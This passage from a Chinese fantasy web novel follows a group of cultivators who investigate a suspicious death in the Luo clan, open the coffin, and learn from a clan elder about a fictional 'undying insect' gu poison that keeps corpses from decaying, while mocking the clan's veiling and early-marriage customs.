几人跟着金大娘来到膳厅吃卤面,金大娘的手艺确实很不错,让原先有些吃怕面食的四人都吃得津津有味。她们在吃饭的时候,金大娘就笑眯眯地看着她们,满意地说:“喜欢吃就好,晚上给你们做菌子暖锅!人多吃得才热闹。” 曾换月咽下口中的卤面,抬头看向屠芜:“对哦屠芜,你本来说昨晚要带我们吃菌子暖锅的!” 屠芜挑了下眉毛:“昨晚那是临时有事……不过今晚不也给你们吃上了?我姨妈做的菌子暖锅也是一绝。” 某些人便期待起来。 石映心先吃完了面,擦擦嘴后就吃饱了没事干到处乱看,看着看着就看到了金大娘的脸上,她突然想到进了螺城之后,一路走来的女人都戴着严实的面纱,这是为什么呢?一边想一边问了出来。 “哦,这是咱们这里的习俗。”金大娘开朗地解释道,“我们这的女子啊,长到十二岁就要开始戴面纱了,这些都是老祖宗传下来的规矩。” 石映心:“什么规矩?” “就是女人要戴面纱嘎。” “为什么要戴?” “这个嘛……”金大娘想了想道,“因为这是传下来的规矩。” 石映心:? 她转头看向屠芜:“屠芜,为什么你没戴?” “据说先前是有强制要求的,后来螺城归入药神洲管辖,渐渐地不戴也不会怎么样。”屠芜回忆道,“而且我十岁就去了药神谷,压根没到十二岁戴面纱的上脸仪式。城外的人几乎没有戴面纱的,我也从来没戴过。” 石映心还没听到自己想要的答案:“一开始为什么会戴?是谁要求的?” 屠芜看向她:“具体的我也不太清楚,反正是些不重要的恶俗规矩,比如觉得女人的脸只能让丈夫看之类的。” 石映心:OO? 她余光瞅见小师妹在边上翻了个大大的白眼,要不是嘴巴里还塞着东西,估计要说点什么。 “哦!”外甥女这么一说金大娘就有些印象,笑了笑道,“确实有这个说法,小时候你外婆也常常对我和你娘这么说。” 屠芜道:“姨妈你也对翠衣这么说过,还没到十二岁,你就想让她戴面纱了,每回她从药神谷回来,也要她戴。” “翠衣那孩子……”提到女儿,金大娘的眼睛先是无奈地笑了起来,忽然又想到什么,很快皱起眉头,“那孩子和吴丙……” “放心吧姨妈,”屠芜自信的语气很有宽慰的意思,“这事我们会处理好,你就安心照留在这里照顾我娘就好。” 金大娘应了两声,又叹了口气道:“翠衣也是想不开,那人都已经死了,何必再上赶着去管吴丙的事呢?难道她与吴丙的感情真有这么要好?” 屠芜听到这还有些意外金大娘想得开,只是很快又听她下一句:“……死人又不会再活过来娶她,她再掺和吴家的事只怕要被人说闲话,到时候族里人说起来,耽误她再找怎么办?” 屠芜:…… “姨妈,”她无语地搁下筷子,“那就不找呗。” 金大娘不赞同地看向她:“不找怎么行?要被族里笑话的!” 屠芜把手一摊:“我们药神谷的弟子要是和凡人成亲才会被笑话。” “这……”金大娘支吾了一下,很快想到新的说辞,“那些都不是我们螺族的人,他们是不了解。你和翠衣都是螺族的孩子,身上留着螺族的血,自然要遵循我们老祖宗传下来的规矩,不然要遭天谴的!” 屠芜已经开始翻白眼,石映心则好奇地问:“你们的老祖宗是谁?” “很多啊,就是从前的螺族的人,”金大娘双手在空中挥了挥,做出一个很大很多的动作,“世世代代,大家都是这么过来的。” 石映心:“不这么做会怎么样?” 金大娘:“会遭天谴的!就是……” 她似乎都做好了对方再问“是什么天谴”的解释准备,但没想到石映心开口便是:“发疯病吗?” 这下金大娘和屠芜都愣住了,震惊地望向她。金大娘那双露在外面的眼睛根本藏不住她的情绪:“你、你是咋个知道的?” 师兄妹四人中最不心虚的就是石映心了:“总之是知道了。” 说罢又看向屠芜:“所以屠芜也要在二十之前婚嫁吗?” 屠芜还处在余震中,这问题将她拉回了思绪。见她一撇嘴道:“我才不呢,发疯病就发呗,又不是日日都要发,一月几天我还忍得住。” “哎呀小芜,你不要说胡话!”金大娘拉住她外甥女的手,苦口婆心道,“你是不知道我们族中那个谁家的媳妇啊,发起疯病来可怕得很!整个人疯疯癫癫的说不清话,而且还乱打人嘎!” 小芜没瞧见,但边上四个一听她这话就都知道了,这会回想还得憋笑。 屠芜没注意她们的不对劲,使劲把手抽从金大娘手里抽了回来:“姨妈,你说的这人不是都已经嫁人了,怎么疯病还没好?” “她那是特殊情况!”金大娘皱着眉头瞪着眼睛看着她,有些恐吓小孩的表情,“大部分女人嫁了之后都不会像她那么严重的,她若是不嫁人,情况更可怖!老祖宗都说了,我们女人身上的阴邪之气还得要男人压住……” 曾换月憋不住了:“我呸!什么叫女人身上的阴邪之气啊?那我身上怎么没有?难道就你们螺族的女人有?” “是啊!”金大娘理所当然道,“是只有我们螺族的女人身上才有。” 曾换月:…… 顾梦真瞅她的表情:“金大娘,怎么你好像还……接受良好呢?” 金大娘双目单纯:“那有啥办法嘎?生是螺族的女人,自然要遵循老祖宗的规矩。” 石映心有些隔靴搔痒的不爽感,这个老祖宗到底是谁啊? “还有你哥。”金大娘又抓住屠芜的手,“小莱的年纪也不小了,是时候娶个媳妇了!你是他妹妹,好好劝劝他,族里没有他这么大年纪还未娶媳妇的……” 屠芜方才还沉浸在“回家真好姨妈的面真好吃心情好温暖”的情绪中,这会像被人泼了一桶凉水,整张脸色已经垮了下来:“姨妈,你要劝屠莱就到他面前劝去,别和我说。” 说着就站起身来,拿着吃完的碗筷走了。 “欸,你这孩子……”金大娘叹了口气,转过头来又看到其他几个,虽然都是仙人,但在她眼中还是和两个外甥一般半大的小孩,“几位也帮我劝劝……” 四人才不乐意呢,胡乱搪塞了几句,匆匆逃离。 离开膳厅,几人正好瞧见金舍嬷将那对夫妻送走的背影,等她转过身来,她们便和这双画着黑色眼妆的眼睛对上了视线。 第189章 金舍嬷挑了下细长的眉:“你们是谁?” 明易正要解释,屠莱便从边上的屋子走了出来,平淡地喊了一声:“娘。” 金舍嬷又转过去看他,不太惊讶道:“小莱?你怎么回来了?” 话音一落,又看见从膳厅出来的屠芜,依旧不惊讶,抱起胸道:“又不是逢年过节,你们兄妹俩没事回来做什么?” 说着还瞥了眼那边杵着的四个:“还带来四个生脸的小孩,不是要给我添麻烦吧?” 她这么说,屠莱也不太客气道:“既然是你的不速之客,添麻烦也是难免的。” 金舍嬷不高不低地冷哼了一声,视线瞥过几人:“进屋吧。” 四人感觉到她不太欢迎她们……或者说,不太欢迎她们四个外人包括她自己两个小孩,但似乎也没有排斥,像是一种“平日懒得多管闲事但麻烦找上门来了那就没办法解决一下吧”这样的心态? 几人跟在屠家兄妹二人身后进了屋。一进去就见金舍嬷往主位上一坐,手一抬就把脸上的黑色面纱扯了下来扔到边上,露出下半张素净的脸。 曾换月见她的容貌后有二惊。一是惊她下半张脸没化妆,只化了面纱外的眉眼,像她以前戴口罩时的偷懒做法;而是惊她的容颜瞧着非常年轻,感觉最多三十出头,说二十多也有人信…… 但她两个孩子都快二十了啊! 金舍嬷仿佛不在意这些孩子对她的打量,拿起边上的茶水一喝,一副主人家的架势:“说吧,回来有什么事?” 她两个孩子还站着那呢,也没叫她们坐一下,更别提其他不速之客了。 不过屠家兄妹二人似乎对此很寻常,屠芜道:“娘,我们此次回来是为了翠衣的未婚夫身亡一事。” “你啊你!”金舍嬷微瞪了她女儿一眼,“真不像我,就爱多管闲事。” 屠芜深呼一口气:“怎么说翠衣都是我从小一起相伴长大的表妹,姨妈也照顾了我们家这么多年……” 金舍嬷把手一摊,一脸莫名:“我是没给她钱吗?你当真以为她自愿来照顾我的?她三天两头就要跑回去看她的儿子和孙子,这你不知道?” 屠芜就没话说了。 金舍嬷又问她儿子:“你呢,你回来什么事?难道也是为了你的表妹翠衣的未婚夫?” 屠莱余光瞅了瞅妹妹,又转回来,没什么感情道:“我想娘了,就回来了。” 这下金舍嬷直接翻了个白眼,冷哼一声,意味不明。 真是不温馨的一家难得团圆的场面啊,四人想。当然,很快她们也被金舍嬷的下巴抬了抬指着问:“你们四个又是来做什么的?” 明易已经准备好借口了,但抵不上石映心上下嘴皮子一碰说四个字快啊:“参观游玩。” 大师兄:…… 没想到金舍嬷一下笑出声来:“好,好!那就让这两个带你们好好参观游玩我们螺族的民风民情。” 明易只好说:“多谢金舍嬷。” 金舍嬷一挥手:“既然你们是小芜的朋友,叫我金姨便好;舍嬷是那些族人对我的称呼,你们又不是螺族的人。” 石映心问:“金姨,你叫什么名字?” 金舍嬷似有些意外她这么问,但还是答道:“金虫。” “金大娘呢?” 金舍嬷:“……金草。” 石映心评价:“还好你们姓金,金做的虫和草是贵一些。” 金虫又哈哈哈笑起来:“小莱幼时也这么说,还吵着要跟我姓金呢,这孩子是比较贪财。” 屠莱没回望任何一个投到他身上来的视线,仿佛这样就不尴尬了。 顾梦真偷笑着吐槽:“那我没他贪财,他居然连自己的名字都稀罕听起来贵点,哈哈哈哈!” 听得一清二楚的屠莱翻了个白眼。 寒暄完,屠芜问起正事:“娘,翠衣说那个吴丙是中虫毒而死,他们是否来找你去验尸过?” 金虫微微摇头道:“没有,只是翠衣走之前来找我说过这事,但你姨妈不想她多管闲事,我也不喜欢多管闲事,就把她打发走了,谁知道她回了药神谷就去找你,大费周章地又把你们叫回来了,扰我的清静。” 屠芜已经对她娘的抱怨习惯且无视了,继续说正事道:“翠衣是药神谷的弟子,她的判断应不会错的,只是她说看不出来是什么蛊虫……可我想,族中最擅长蛊虫和医术的便是娘你,吴家人怎么没来请你呢?” 金虫喝茶:“请我不要钱的吗?” 屠芜一下子哼出一声气:“哥真是随了你,爱做这些生意!” 那她这么说,顾梦真就不得不为金虫和屠莱解释一番:“话不能这么说啊,这是人之常钱嘛!” 金虫这才给了顾梦真一个赞赏的正眼:“不错,你很上道啊。” 顾梦真:“还好还好。” 屠芜:…… “总之,”她正色道,“我想了想,这事确实有些古怪,娘不想管就不管吧,我和哥哥还有这几位道友会帮翠衣的。” 金虫不在意地挥挥手:“随便你们。” 屠芜瞥了她哥一眼,又转过来和四人道:“几位可还要休息一会?” “不必了,”明易说,“此时宜早不宜迟,我们还是抓紧时间去吴家看看情况吧。” 屠芜也是这个意思:“好。” 一行六个人就这么风风火火地往外边走,并行的身影一时遮住了屋外洒进来的日光;等她们跨过门槛离开,光亮又重新照亮了空荡荡的堂屋。金虫靠坐在扶手椅上,懒洋洋地望着她们的背影,直到消失不见。 “你们的娘好年轻啊!”往吴家走的路上,曾换月感叹道,“说是你们两个的姐姐我都信。” “本来也不老,”屠芜说,“我娘应该三十五左右。” 说到这,仿佛已经预想到了会看到惊讶的表情,很快地补充道:“我们螺族的女人嫁人都比较早,我娘那个时候更是如此,很多女孩十四十五就嫁人了。” “啊?”曾换月撇了下嘴,“什么意思啊,那就是来了月事之后就能结婚的意思呗?” 屠芜点头:“是这样不错。” 明易在边上说:“我记得八大洲有统一规定,女子要在年满十八之后才可婚嫁,并要上报当地官府民政部,进行登记。” “上有政策下有对策。”屠莱走在最前边,头也不回地说,“这些不起眼的凡人最喜欢挑衅规则办事,毕竟只要触犯不到官府利益,谁都懒得管他们。” “是啊。”屠芜也说,“螺族的人把族中的习俗看得比官府规矩还重要,在他们眼中,只要礼成之后就算是结婚了,去官府登记等年龄到了再去就行……” 说到这她轻笑了一声:“到时背上背着一个,怀里抱着一个,一家四口一起去官府。” “细节,想象这个画面要注意细节,”曾换月一脸严肃道,“孩子都在女人身上,男人一身轻松。” 二人对视一眼,哈哈哈哈笑出声来。 石映心有些没完全领会,但感觉得到二人的笑是不怀好意的,于是也跟着笑了笑。没笑两声,忽然听见边上的屋子里传来几声狂躁的狗叫,惊得几人都是一吓。 曾换月感觉自己的小心脏都要跳出喉咙了,气愤地冲着声音来的方向骂道:“狗叫什么啊,莫名其妙的!” “嘘!”屠芜却是脸色一变,连忙把她拉回来,“快走!” “欸……” 等一行人过了那狗叫的范围,她才松了一口气,和大伙解释道:“螺族的人都爱狗,你们可别骂人家的狗,否则要吵起来的,多一事不如少一事。” 顾梦真往四周转了眼:“怪不得家家户户门口都摆着狗雕像呢……” 屠莱插嘴:“我家没有。” “哦,”曾换月似有些了解,“你们族是不能吃狗肉是吗?” “当然不能吃。”屠芜道,“不仅如此,狗在螺族也不是用来看家护院的,而是请在家中做镇家宅的神兽的。” “啊?神兽?”曾换月露出疑惑的表情,“我以为的镇家宅的神兽是什么貔貅啊麒麟的,再不济就是瓦猫狮子大象嘛……狗做神兽啊?这我是第一次见。为什么啊?” 屠芜秀眉微皱:“其实我也不太清楚……总之听那些人说,都是老祖宗传下来的规矩。” 石映心再也忍不了了:“你们老祖宗究竟是谁?” “我真不知道。”屠芜看向她哥,“哥你说。” 屠莱不答反问:“你们会在意自己老祖宗是谁吗?反正我不在意,我连我爹是谁都无所谓。” 四人:……哦,好吧,那没话说的。 屠芜想了想道:“也许问族里的老人,他们还能说出几个有些本事的人物来。但大概也就是些做出点小成就的凡人,不值一提;否则怎么大部分族人都不知道呢?” 有道理啊。 走了没多久就要到吴家,远远就看见门口热闹得很:最显眼的是一副横在门前的棺材,边上有几个男男女女,这会正在七嘴八舌地和挡在棺材前边的戴翠衣说着什么;后者面色严肃,皱着眉头一声不吭,只一味站在那阻拦着。 屠莱一看到这场面就翻白眼了:“至于吗戴翠衣?” 屠芜其实也翻了一个:“她就这个犟脾气,真服气了。” 归壹派四人面面相觑对了个眼神,跟着屠家兄妹身后走上前去。 单枪匹马的戴翠衣很快便看到了她们,这可不是她苦苦等待的表姐表哥吗?再看她们后边那四人,似乎在表姐屋中见过,那一定就是表姐表哥的好朋友了,换言之是来帮忙的! 第190章 这一下来了六人,她顿感很有底气,哀戚的脸上一下笑出来,举起手挥舞道:“表姐!表哥!你们可算来了!” 边上有个男人,听旁人的称呼他应该是吴家的大儿子,他们叫他吴大。这人说:“翠衣,你叫这么多人来是什么意思?” 戴翠衣挺直腰板道:“你们吴家人 这么多,我叫几个来怎么了?” 吴大身边的吴家二儿子吴二没好气道:“死的是我们吴家的男人,这些外人凭什么管?我们是看在你是吴丙未婚妻的份上才对你好言相劝,可你还未过门,其实压根也管不着!” 吴家四儿子吴四应和道:“我二哥说得没错!” 他确实说得没错啊,所以戴翠衣瘪了瘪嘴,感觉到理亏。 屠芜就在这时几步上前抬起下巴倨傲道:“和我没关系又怎么了?我就要硬管!” 戴翠衣接了一句:“对,就硬管!” 吴二瞪了两个女人一眼,看向边上的屠莱道:“屠莱,你和你妹在外边当仙人这么风光,好端端地回来做什么?” 屠莱:“管你们吴家闲事。” 吴二:…… “想必几位也是和屠莱一般来自药神谷的仙人,”吴大一副正义凛然的架势,“对你们来说,我们这些凡人低贱卑劣,根本不需要放在眼里;可身为仙人,你们难道就可以这样肆无忌惮、恃强凌弱了吗?你们不是名门正派吗?难道不需要讲道德、遵守规矩吗?” 曾换月心想你这是要跟谁讲道理说规矩啊?真是不识好歹!她冷哼一声,眼神往边上人示意:去吧大师兄! 明易:? 暂且不管眼抽筋的小师妹,他客气地和吴家人道:“几位何必自轻自贱,我们修仙者在拜师修炼之前也是最普通的凡人,怎会不把你们放在眼里,甚至觉得凡人低贱卑劣?这便是几位对修仙者的刻板想法了。” 顾梦真:“对啊对啊!” 明易:“至于你方才说我们肆无忌惮、恃强凌弱,则完全是无稽之谈,几位可有什么证据?” 吴二大声道:“你们硬管我们吴家闲事,那你们动手起来我们怎么打得过你们?而且别人的家事你们乱插手做什么!?” “你说的这一切还未发生。”明易道,“所以,所谓的肆无忌惮、恃强凌弱,只是你们想动手但又畏惧我们而产生的揣测。你们螺族深居山林,与外界交流不多,但必定是受药神洲官府的管辖……” 这是必然的,在八大洲里怎么会有不受八大洲管辖的地界? 吴大:“是又如何?” 明易便说这如何:“国有国法,家有家规,国法高于家规。你们螺城受官府管辖,官府受药神谷管辖,药神谷是八大仙门之一,而我们正是来自仙门之首归壹派的弟子,是受命来此调查你们螺族事宜。所到之处,不管是凡人还是仙人,都得配合行事。” 曾换月觉得大师兄讲的他们不一定听懂,换了个通俗的说法:“我师兄的意思是,天王老子来了都得给我们几分面子服从我们调查!” “……不错,”虽然这么说很有嚣张的意味,但明易只好应下,“于情于理,我们都合乎道德和章程;反之,你们的不配合才是不合规矩。” 曾换月:“没错没错!” 听了这些,吴家几人的脸色都差得难看,吴二很不高兴地斜了几人一眼,不大不小声地嘀咕一句:“真是好大的仙威!” 明易没否认:“我们名门正派以维护世间安定为责,难道凡人只需受仙门庇护,而不用遵守仙门的规则吗?” 石映心配合地插嘴:“哇,那你们这些凡人很自在了。” 这下凡人们是真的没话说了。 屠芜小声同石映心道:“没想到你大师兄还挺能言善辩的嘛!” 石映心点点头赞同:“大师兄最会说道理和规矩了。” 见说也说不过她们,打肯定也打不过,吴家几人是真没招了。吴大面色忍耐地问:“按照我们螺族的规矩,人死三日之内必要下葬,今日已是我三弟死去的第三日,你们是想阻止他入土为安吗?” 石映心奇怪道:“人已经死了,入不入土怎会再影响他安心不安心呢?” 吴大:…… 和这些不迷信的人真没法说了! 这时候戴翠衣发声道:“吴大,我只是想找出吴丙的真正死因,等我查明真相自会让他下葬。而且我分明同你们说过他的死不寻常,你们为何不相信我?” “翠衣啊,”吴大叹了口气道,“事到如今我也不瞒着你了,其实吴丙自幼便有一种怪病,时常突发,心如绞痛难忍;也不是没去外边找厉害的大夫看过,都说是疑难杂症,能活几日是几日的……” “这事一直是我们吴家的心头病,不想与外人说。可如今事情已经闹到这地步,我是不说也不行了啊!只是可怜了我三弟,人都已经死了还要再因此事受到非议……” “怎么会……”戴翠衣明显一愣,“吴丙从未同我说过!” 吴大:“他……他怕你伤心,怕你嫌弃他。” 曾换月:“他就是骗你的,他怕说出实情你就不和他好了,真是个贱人!” 戴翠衣:…… “我不相信,”戴翠衣摇头道,“我那日分明看出他是中虫毒而死!” 吴大说:“他平日心绞痛时就会用止痛蛊缓解疼痛,可只是止痛,止不住怪病啊;我想他是发怪病而死,但因死时使用了止痛蛊,才会让你误会是中了虫毒。” 戴翠衣:“可是……” “不必多说了。”屠莱已经听得不耐烦,打断几人的话道,“直接把棺材打开验尸不就知道了?” “没错,”屠芜上前一步,走到棺材边上,” 打开看看就知道了。” 吴二还想阻拦:“不行……” 但这时石映心也没耐心了,默不作声地双指合并一转,一道灵光飞去那盖得严实棺材板,猝不及防地将它掀飞了,惊得边上一干围观群众咋咋呼呼地惊叫逃窜,还有人嘴里叫着“死人啊”“晦气晦气”。 奇了怪了,分明方才都凑得好近看热闹,难道躺在棺材里的死人就是无所禁忌啦? 与弹跳逃离的族人们相反,屠家兄妹和归壹派四人迫不及待地凑上前去查看尸体情况: 就见棺材中躺着一具面色青白、毫无血色的男尸,遗容平静,穿着寿衣平躺在其中,身无外伤,双手交叠在身前,死状安详。 屠芜上下打量了尸体两遍,秀眉微蹙:“面色唇色指甲颜色都正常……” 又把死者的嘴巴捏开:“口舌也没问题。” 曾换月看电视剧看话本也知道点:“就是没有中毒的症状嘛?” 听到她的话,吴大便在边上道:“我都说了嘛,我三弟是怪病发作而死,不是中了虫毒!那时候我们还未将他身上的止痛蛊取出,翠衣又伤心过度一时情急,这才看错了吧!” 戴翠衣也愣了:“怎么会……” 屠芜看向他哥,二人对视一眼,似乎心领神会了什么。屠莱道:“不必这么早下定论,方才我妹说的不过是最常见的中毒症状,要断定究竟有无中毒,还有一个办法。” 戴翠衣也领会了:“表哥你是说……” 石映心:“什么办法?” 屠莱:“检骨验毒。” 顾梦真:“你们要把他的骨头拿出来吗?” “不错,”屠莱颔首道,“中虫毒而死者,蛊虫的毒会深入其骨中,致其骨中骨髓变黑;即使尸体表面无中毒迹象,骨髓也不会骗人。” 明易闻言颔首道:“既然如此,便将他的骨头取出查验好了。” 石映心第一次参与这种验尸环节,显而易见地有些兴奋:“取哪块骨头?” 她们搁这讨论着,吴家几人听不下去了,吴二大吼大叫道:“你们不要太过分了!开棺打扰我三弟的清静就算了,竟然还想侮辱遗体!” 曾换月翻白眼:“你没事吧?我们是要帮他查明死因!” 吴大做出忍着怒火的表情:“你们如此对尸体大不敬,我三弟死不瞑目啊!” 石映心看看尸体又看看吴大,一脸莫名道:“尸体的眼睛本就是闭着的,你看不见吗?” 吴大:…… 和这种连迷信成语都听不懂的人真是说不明白。 这时候吴四跳了过来,表现了自己对死去的哥哥的感人亲情:“你们这些为非作歹的恶人,要想欺辱我三哥,就先从我的尸体上踏过去!” 他猛地蹦跶出来堵在几人面前,石映心嫌碍事,一挥手就把他震飞了;众人只听到他飞起来时在空中兴奋的呐喊:“仙人饶命啊啊啊啊啊——” 稳稳当当地被石映心震到了一边的树上,不敢动弹了。 石映心又看向目瞪口呆的吴大吴二俩兄弟,善良地问:“他好像很害怕,你们要上去陪他吗?” “……不、不用了。” 她接着望向边上站得有些远的、看好戏的围观群众:“你们呢?” 群众:疯狂摇头。 这下没人碍事了。 屠家兄妹对石映心投去赞赏的眼光,屠莱难得夸人:“没想到你们归壹派的人做事这么干脆。” 石映心看向他:“我也没想到你们都这么有耐心。”她都忍好久了。 屠芜撇嘴,小声道:“你是不知道,很多凡人一口一个叫着仙人,其实都在拿这身份来压我们,叫我们难做一点过分的事……唉,算了,先不提这些,快验尸吧。” 屠莱变出一把小刀来,快准狠地将尸体小拇指上的皮肤切开,挑出了一块细小的骨头来切断一瞧,挑眉道:“骨髓变黑,是中了虫毒不错。【】 190-200 第191章 在边上屏息等待的戴翠衣松了口气,瞪向吴家人道:“这下你们还有什么好说的!?” 吴大却依旧死鸭子嘴硬:“谁知道这是不是怪病发作的影响?” 戴翠衣:“你还狡辩!” 石映心问:“这究竟是什么怪病?” 吴大使劲叹气:“就是怪病,我们也说不出所以然来!” 石映心却笑了下:“你在说谎,吴丙没有怪病。你在隐瞒什么?” “你不信是你的事,凭什么说我们说谎?”吴四嚷嚷道,“别以为你是仙人就可以污蔑人了!” 石映心无所谓他们怎么说,只看向屠家兄妹道:“他们在说谎。” 曾换月:“我师姐说他们在说谎就是在说谎!” 吴四还在叫:“你说我们在说谎我们就是在说谎啊?” “喂喂,”顾梦真凑上来,戳戳屠莱,“你不是有什么读心虫吗?拿出来试试他们不就知道了?” 屠莱却看向石映心道:“我卖给石映心的是我手上最后一只读心虫,目前也没有条件再炼制了,起码要等到入秋。” “啊?”顾梦真有些失望道,“怎么会这样。” 戴翠衣连忙说:“石道友,可否请你暂借我们读心虫一用?我可以出两倍的价格!” 石映心想了两瞬:“不行。” 没想到她拒绝得还挺干脆哈,戴翠衣微微一愣,但也没再要求;只是边上提心吊胆听着的吴家二人松了口气,仿佛逃过一劫,甚至有些嚣张起来了:“你说三弟是因为中虫毒而死,拿出证据来啊!” 戴翠衣:“那你们怎么不拿出吴丙得怪病的证据!?骨髓发黑分明就是中了虫毒!” 吴大:“我看分明是那怪病让三弟的骨髓发黑!” “你胡说!” “你才是污蔑!” …… 气氛陷入短暂的凝滞。如今双方都苦于没有证据:吴家没法证明吴丙是因怪病而死,她们也没办法证明吴丙是因虫毒而死。 石映心传密音问屠家兄妹:“你们没有办法了吗?” “……也许还有一个。”屠芜道,“我们药神谷有一种能辨别相同虫毒的宝贝;但问题是……我看不出来吴丙中的是什么虫毒。” 屠莱也耸了下肩:“我也看不出来。” 明易感到一些不妙:“二位皆是药神谷出色的弟子,屠莱道友更是少见的蛊修;虽说世间之大无奇不有,可连你们都不认识的蛊虫,吴家人怎么会有?” 兄妹俩对视一眼,应是有些想法,但她们没直说。屠芜道:“我想将尸体带回去给娘看看……只是这些人肯定不会同意。” 顾梦真一笑:“这好办。” 二人还来不及问怎么好办,只见忽然有一阵狂风从山上吹来,夹带着树叶沙石灰尘,还有本来卡在树上装死的吴四,惨叫连连地随风飞舞,吹得众人连忙闭上眼睛捂住口鼻。 随着吴四“啊”地一声摔到地上,风又莫名其妙地停止了,非常调皮。 吴大和吴二将吴四扶起来,三人被风吹得都很狼狈。 这时候顾梦真道:“唉,既然此事暂时说不明白,那我们就先走吧,下次再来呗。” 边上的几人纷纷应和。只是戴翠衣说:“吴大,这尸体你再保留一日,明早我再过来。” 吴二似乎想说什么,但被吴大拉住了:“好,好。翠衣,我这是看在你曾经是我三弟未婚妻的面子上。” “我知道。” 于是七人就这么走了。 见他们走远了,吴二才有些生气地对大哥道:“怎么还要保留一日,下次还要让他们闹啊?!” 吴大砸了下嘴,用看傻子的眼光看他:“不这么说怎么把他们打发走?有他们在我们连三弟的一根手指头都抢不过来!好了,趁现在天还没黑,赶紧把三弟送去安葬吧!先别立碑位,看他们怎么找!” 吴四捂着屁股,露出吃疼的狡猾笑容:“还是大哥聪明!” 见热闹没了,边上的族人纷纷散去。三兄弟把被掀到一边的棺材板抬了过来,盖上前最后看了眼棺材中的吴丙,一如既往的安详。 * “你们真是好本事。” 金虫站在院中,风吹过她因为翻白眼而翘起来的睫毛:“竟给我弄个死人回来!” “小姨,”戴翠衣可怜兮兮地说,“人都偷回来了,你就帮帮忙吧……” “对啊对啊,”顾梦真有些心疼地说,“我看我那个呆头呆脑小木人是收不回来了,别白费我的宝器啊。” 金虫觉得这几个小孩真会胡闹,连尸体都敢偷,真是毫不顾忌;但瞧这几人坦荡自在的神色,又感到一些艳羡的无奈,叹了口气道:“啧,到时别把我供出去就行,我可不做共犯。” “放心吧娘,”屠芜保证道,“绝对不扯上您。” “哼。” 吴丙的尸体被她们随便地放在地上,金虫一边绕着尸体打量,一边没好气道:“连你们三个药神谷的弟子都瞧不出来是什么毛病,我一个装神弄鬼的舍嬷怎么知道……” 话说到这脚步一停,看向她两个孩子,挑起一边的眉毛道:“不是,这么明显的古怪你们都没发现?” 三个药神谷弟子皆是一愣,你看看我我看看你,立刻有些被考验的莫名紧张。 一时谁也不敢说话,居然是石映心回答了问题:“死了三天,尸体没有腐烂。” 三人:!? 我去,这么一说还真是啊!这吴丙都死了三天了,他们从打开棺材开始,就从头到尾没闻到什么尸臭;而且如今是八月,正是热得不行的时候,按理来说他早该发烂发臭了啊! 金虫故意摇头叹息道:“你们几个小毛孩还是经验不够,死人见得少了。” 屠芜撇嘴:“这样才好吧?谁要看那么多死人。” “小姨,”戴翠衣忙道,“这是不是就能说明吴丙的死有古怪?没听过有什么怪病人死之后尸体不会腐烂的!” “不错。”金虫微微颔首,目光打量着尸体的遗容,“倒是有一种蛊虫能让人死状安详,起码表面上看不出来是中了虫毒而死,如何验尸也没有异样,仿佛真是无病而亡……” 屠莱闻言,瞥了石映心一眼:“这么厉害,岂不是能杀人于无形?” 石映心:OO 明易:? “世上何来毫无破绽的杀人之法?”金虫轻哼一声,“无形即是此蛊虫的最大漏洞,人死一日之后便会发臭腐烂,还会出现尸斑,可中此虫毒者会维持长久的、刚死时的新鲜状态……这便是太过无形,过犹不及。” 屠芜问:“这叫什么虫?” 金虫:“不死之虫。” 归壹派几人听了都是一愣,金虫没发觉她们的古怪神情,对戴翠衣道:“这虫杀完人后便会溶入死者的血液之中消失不见,几乎不会留下证据;唯一的办法就是将尸体留存,看他一日之后是否会腐烂发臭长尸斑……好在你这丫头倔脾气,硬是把尸体拦下来了。” 戴翠衣心绪复杂:“世上怎会有如此阴险的蛊虫……而且吴家人为何会有这稀奇的不死之虫?” 金虫轻笑一声道:“你们常年在外头,不知道吴家那老头上个月死了吧?” 屠莱眉头一挑:“吴族长死了?” “对,新的族长会在吴家四个儿子中产生……哦,现在是三个。”金虫笑意中的嘲讽越来越明显,“我们螺族的族长对族人来说用处不大,对族长自身而言倒是非常利好,那些世代传承的好东西可都要在族长手中保管,比如……不死之虫。” 石映心问:“这些好东西最开始是怎么来的?” 金虫看她一眼,继续道: “传闻不死之虫是许久之前……在药神洲还不叫药神洲的时候,螺族凭借蛊虫,以及他们独特的丹药医术名震天下,一时人丁兴旺,族力强盛,甚至到了可以占地为王的地步,外人对螺族敬而远之,觉得他们的蛊虫诡异可怕。” “当时的族长权势滔天,他号令族人们为他炼制一种不死之药,让他能永存世间,带领螺族欣欣向荣。只可惜此乃逆天之行,他们用尽了办法,散光了金银,上天入地、不顾一切地去找草药,常常组织大批的人前往罗宝山石窟,死了许多族人……却依旧事与愿违。” “直到某一日。”说到这,金虫掀起眼皮,看向院墙上昏暗的天色,“终于触怒了上天,降下了天雷。族人们感到恐慌,只好停下炼制不死之药;可在此之后他们发现,一旦炼药便会降天雷,于是螺族的丹药医术迅速衰败……” “而事实上,螺族的医术和蛊虫其实是相辅相成的,他们的蛊虫要吃他们炼制的丹药才能产生毒性,丹药又是由蛊虫为材料炼制……因此不能炼药之后,蛊虫蛊术也渐渐没落,只剩下一些较为普通且无害的蛊虫还能延续下来。” 曾换月听到这感叹一声:“真是不作死就不会死。” 石映心嘴角一勾:“偏偏又是为了不想死才作死。” “既是自作自受,也是天意弄人。”金虫朝她们一笑,吁了一口气道,“不过,即使螺族后来衰败了,但那蓬勃发展炼制不死之药的几十年间,族人们已经留存下了许多稀世丹药和蛊虫,大部分都被当时的族长收入囊中……” “如今造成吴丙死亡的不死之虫,正是其中之一。这蛊虫是由当时油尽灯枯的族长命名;他一生追求不死之药,求而不得,死到临头时得到了能让人死后的尸体永不腐败、虽死犹生的蛊虫,也算是一种‘不死’;故将它命名为‘不死之虫’,算是一种弥补遗憾。” 第192章 屠莱幽幽地说:“肉身不死,魂魄消亡。” 金虫耸了下肩:“算是这么回事。如今知道不死之虫的人不多,知道它能维持尸体不腐败的人更是少之又少,毕竟大部分人也不会守着尸体那么久,一死就下葬了;所以我猜测吴家人只把它当做一种能杀人于无形的蛊虫,并不清楚不死之虫的漏洞。” “这么说,真的是吴家人杀了吴丙……”戴翠衣虽早就有预料,但得知真相后依旧有些晃神,“他们为什么这么做?吴丙不是他们的亲人吗?” “一个杀人的借口胜过无数个不能杀的理由。”金虫拍了拍外甥女的肩膀,“你还小,以后便会明白了。” 屠芜的重点是:“娘,你说这不死之虫杀了人后便会溶化在死者血液中,那就是什么都不剩下了……如今吴家人咬死了吴丙是因为怪病而死,可他们没有证据;如果我们要证明他们杀人,只有再找到一只不死之虫,然后用药神谷的‘辨毒草’识别,那我们便有证据了……” 妹妹说到这,屠莱已经朝他娘伸手了:“娘,拿来吧。” 